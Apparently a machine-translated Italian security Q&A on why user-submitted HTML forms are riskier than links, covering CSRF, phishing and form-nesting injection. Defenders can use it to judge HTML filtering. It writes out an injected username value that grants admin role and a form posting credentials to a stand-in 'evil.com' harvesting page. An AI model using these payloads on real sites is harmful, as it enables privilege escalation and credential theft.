Un tag del modulo HTML è più sfruttabile di un link HTML nel contenuto inviato dall'utente?

Sì, lo è. Di quanto, e se sarebbe ok per te consentire i moduli dipende dalla tua situazione specifica.

CSRF con i referer di controllo

Se la protezione CSRF dipende dai controlli referer, non su un token, la presenza di moduli significa che si sarebbe vulnerabili a CSRF.

Man mano che disabiliti gli script, una vittima dovrebbe ancora fare clic sul modulo, ma è possibile farlo tramite social engineering o magari con ClickJacking.

Ad esempio, un utente malintenzionato potrebbe inserire un pulsante paypal, che in realtà aggiungerebbe un nuovo utente amministratore, nella speranza che clicchi su di esso.

Naturalmente, questo è anche possibile con i link, ma solo per le richieste GET, non per le richieste POST.

CSRF con moduli esistenti

Sembra che il tuo filtro sia un filtro generale, che filtra tutti i tag potenzialmente pericolosi. Ma ci sono situazioni specifiche in cui sicuramente non vuoi tag di forma, ad esempio quando echi l'input dell'utente nei moduli.

Ad esempio, se hai un modulo di modifica dell'utente come questo nel back-end di amministrazione:

<form action="admin_user_edit.php">
    <input type="text" name="csrf-token" value="[CSRF token]">
    <input type="text" name="password" value="[value from database]">
    <input type="text" name="username" value="[value from database]">
    <input type="text" name="role" value="[value from database]">
    <input type="submit" value="Submit">
</form> 

Ora, un utente potrebbe chiamarsi foobar"><input type="hidden" name="role" value="admin"><input type="submit" value="Submit"></form> . Se ora ottengono l'amministratore per modificare il loro profilo, saranno admin, senza che l'amministratore voglia farli amministrare.

phishing

Un modulo potrebbe essere utilizzato anche per gli attacchi di phishing. Ciò dipende ancora dal contesto specifico in cui viene inserito l'input dell'utente, ma in teoria un utente malintenzionato potrebbe ad esempio visualizzare un modulo che richiede credenziali di accesso, dettagli della carta di credito, ecc. E quindi inviarli al proprio server.

La speranza è che la vittima non interpreti il modulo come input dell'utente, ma come appartenente al tuo sito web.

Un modulo è più pericoloso perché nasconde più materiale dall'utente rispetto a un semplice link e può fare cose diverse.

automatically removes any script tags, click events and basically any Javascript

Suppongo che significhi che rimuove anche i link javascript:... . Quindi gli unici collegamenti che un utente malintenzionato può produrre sono semplici richieste GET, che, tra l'altro, vengono visualizzate chiaramente all'utente, sia al passaggio del mouse che nel campo dell'indirizzo dopo aver fatto clic (supponendo che il browser lo faccia affatto; così).

Un modulo può utilizzare metodi arbitrari (POST ecc.) e includere contenuti nascosti arbitrari. Il campo indirizzo, dopo l'invio, vedrà solo la parte dell'azione e non sarà nemmeno a conoscenza del fatto che ha inviato più dati, aprendo molti più modi per imbrogliare.

Un attacco molto semplice con un modulo potrebbe essere quello di visualizzare una pagina di login simulata (hai solo bisogno di una formattazione innocua) con un'azione che porti a un sito web dell'attaccante. L'utente non tecnico sarà semplicemente infastidito dal fatto che il forum richiede ancora un altro login ("argh! Ho già effettuato l'accesso 3 volte, perché ancora ?!"), inserirà le sue credenziali, che verranno prontamente consegnate all'attaccante. Gli scenari più coinvolti possono essere immaginati.

Consapevole POST e GET

Un link consente la richiesta di GET quando viene fatto clic. Un modulo consente le richieste di GET o POST quando inviate. Tutte le richieste di GET che possono essere fatte con un modulo possono essere fatte anche con un link e viceversa, quindi le funzionalità extra consentite dal modulo sono le richieste di POST .

Quando le persone si attengono alle intenzioni dei verbi HTTP, una richiesta di POST modifica lo stato del server mentre una richiesta di GET recupera solo le informazioni. POST richieste e quindi i moduli sono quindi intrinsecamente più rischiosi.

Un primo motivo per filtrare i moduli ma non i collegamenti è che ci sono ovvi motivi legittimi per consentire all'utente di CMS di includere collegamenti sulle pagine, ma gli usi legittimi per i moduli sono più casi limite. I sottoinsiemi di filtraggio dell'HTML sono difficili, ed è facile sbagliare o perdere qualcosa, quindi non è una cattiva idea disabilitare tutto ciò che non è ovviamente necessario.

Rischi con moduli

Tim ha già coperto due delle principali preoccupazioni: CSRF e phishing - in questa risposta quindi non lo ripeterò qui. Ne aggiungerò un terzo: Iniezione HTML . Dai un'occhiata a questo esempio:

<!-- Beginning of user generated content. -->
This is a normal webpage. Nothing fishy going on, I promise.
<form name="attack" method="post" action="http://evil.com/harvestpasswords.php">
<!-- End of user generated content. -->
<!-- Start of static HTML of page. -->
<div id="footer">
  <form name="login" method="post" action="login.php">
     <!-- A normal login form here. -->
  </form>
</div>

In effetti il normale modulo di login ora sarà annidato all'interno del modulo di attacco. Ciò farà sì che il browser ignori il tag del modulo interno (poiché i moduli annidati non sono consentiti) e il modulo verrà quindi inviato alla pagina degli autori di attacchi.

A seconda della struttura del tuo HTML sulla tua pagina, questo tipo di attacco potrebbe non funzionare. Ma perché correre il rischio?

Rischi con link

Un link consente anche l'esecuzione di script con protocolli come href="javascript:..." e href="vbscript:..." . Per evitare l'inferno XSS hai bisogno di una whitelist con i protocolli consentiti (la blacklist non funzionerà qui).